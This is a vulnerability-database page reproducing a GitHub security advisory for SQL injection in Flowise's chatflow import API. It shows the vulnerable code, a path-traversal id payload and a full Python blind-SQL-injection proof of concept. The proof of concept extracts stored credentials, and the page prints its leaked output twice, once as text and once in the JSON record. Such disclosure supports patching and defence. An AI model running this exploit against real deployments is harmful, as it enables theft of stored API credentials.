GHSA-9C4C-G95M-C8CP

Vulnerability from github – Published: 2025-04-07 18:55 – Updated: 2026-06-24 13:01
VLAI
Summary
FlowiseDB vulnerable to SQL Injection by authenticated users
Details

Summary

import functions are vulnerable. * importChatflows * importTools * importVariables

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-564"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:55:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial\u003cChatFlow\u003e[]): Promise\u003cany\u003e =\u003e {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = \u0027(\u0027\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) =\u003e {\n            ids += `\u0027${newChatflow.id}\u0027`           // \u003c===== user input\n            if (lastCount != count) ids += \u0027,\u0027\n            if (lastCount == count) ids += \u0027)\u0027\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder(\u0027cf\u0027)\n            .select(\u0027cf.id\u0027)\n            .where(`cf.id IN ${ids}`)                   // \u003c===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) =\u003e {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN (\u0027{USER-INPUT...}\u0027)` by the code above.\nWhen  `\u0027) {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f\u0027{url}/api/v1/chatflows/importchatflows\u0027,\n        headers={\n            \u0027Authorization\u0027: f\u0027Bearer {token}\u0027\n            # \u0027Authorization\u0027: f\u0027Basic {token}\u0027\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = \u0027aaaaaa\u0027\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f\u0027(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f\u0027(SELECT length({column_name}) FROM credential limit 0,1)\u0027\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}\u0027) and if (({injection_query})\u003c{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json[\u0027Chatflows\u0027][0][\u0027id\u0027] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if \u0027DOUBLE value is out of range\u0027 in res[\u0027message\u0027]:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        \u0027credentialName\u0027,\n        \u0027encryptedData\u0027\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data=\u0027flow01\u0027\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f\u0027[+] {column_name} length is {column_len}\u0027)\n\n        result = \u0027\u0027\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f\u0027[+] {column_name}: {result}\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \u0027--url\u0027,\n        type=str,\n        default=\u0027http://flowise:3000\u0027\n    )\n    parser.add_argument(\n        \u0027--access\u0027,\n        type=str,\n        required=True,\n        help=\u0027Get from http://flowise:3000/apikey\u0027\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids \u0026 chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
  "id": "GHSA-9c4c-g95m-c8cp",
  "modified": "2026-06-24T13:01:22Z",
  "published": "2025-04-07T18:55:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/4226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseDB vulnerable to SQL Injection by authenticated users"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…